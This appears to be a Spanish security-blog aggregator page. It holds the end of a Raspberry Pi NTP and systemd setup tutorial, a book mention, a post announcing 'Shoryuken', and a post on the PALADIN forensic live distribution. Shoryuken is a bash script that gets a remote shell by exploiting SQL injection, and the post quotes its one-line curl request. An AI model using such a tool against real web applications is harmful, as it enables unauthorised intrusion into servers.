restrict 127.0.0.1
restrict ::1
Después, especificamos la ubicación del archivo drift (que realiza un seguimiento de la desviación del horario del sistema) y, opcionalmente, la ubicación del archivo de registro:
# Location of drift file
driftfile /var/lib/ntp/ntp.drift
Posteriormente sincronizamos manualmente la hora:
[root@pirobot1 ~]# ntpd -qg
ntpd: time set +1360794632.505991s
[root@pirobot1 ~]# date
Wed Feb 13 23:47:48 CET 2013
             
Por último, sólo nos queda añadir el daemon al inicio mediante systemctl.

Para los que todavía añoren systemv/initscripts decirles que systemd es más rápido, modular y seguro, tiene capacidades “hotplug”, lleva un registro (journal) mediante cgroups y paraleliza la activación de daemons mediante sockets entre otras ventajas...
root@pirobot1 ~]# systemctl enable ntpd
ln -s '/usr/lib/systemd/system/ntpd.service' '/etc/systemd/system/multi-user.target.wants/ntpd.service'

[root@pirobot1 ~]# systemctl start ntpd
Y ya tenemos nuestra Raspberry Pi preparada para estar siempre en hora y lista para empezar a hacer cosas más serias...

Libro: “Security Engineering” de Ross Anderson

$
0
0

Shoryuken: simple script en bash para obtener un shell explotando SQLi

$
0
0
Shoryuken es un sencillo script para bash que podemos utilizar para explotar rápidamente una aplicación web con el backend DBMS en la misma máquina, vulnerable a inyecciones SQL y pobremente pésimamente configurada.

La versión actual puede obtener una sesión remota por el puerto 80/HTTP explotando hosts con MSSQL o MySQL que se ejecutan con usuarios con privilegios elevados (system o root), todo ello con una única petición HTTP: el shoryuken (el famoso golpe de Ryu o Ken que significa "puño del dragón" en japonés).


Fácil de usar y bastante indetectable en TEST MODE (1 petición), necesitaremos tener curl instalado:

shoryuken=$(curl -A $agent -s -i "$target$mssqli&$param$mysqli")

Web del proyecto: http://code.google.com/p/shoryuken/

PALADIN: suite forense gratuita

$
0
0

PALADIN es un distribución Live basada en Ubuntu que simplifica el proceso de creación de imágenes forenses. La versión en DVD es totalmente gratuita y permite clonar el disco o crear imágenes en local o a través de red, realizar dos clonados o imagenes simultáneamente y utilizar varios formatos incluyendo Expert Witness (.E01), EWF2 (.Ex01), Apple Disk Image (.dmg), RAW (.dd), SMART y AFF. Incluso es posible realizar directamente una imagen en formato Virtual Disk Format (.vmdk)!

Además incluye un buen arsenal de herramientas forenses de código abierto que aumentarán tus posibilidades. Por ejemplo podrás realizar un completo análisis forense con Autopsy/Sleuthkit o DFF, recuperar contraseñas en memoria con Inception, analizar ficheros de backup de iOS y mucho, mucho más. Sin duda una distribución que merece la pena probar...

http://www.sumuri.com/index.php/joomla/what-is-paladin-forensic-software
Viewing all 1660 articles
Browse latest View live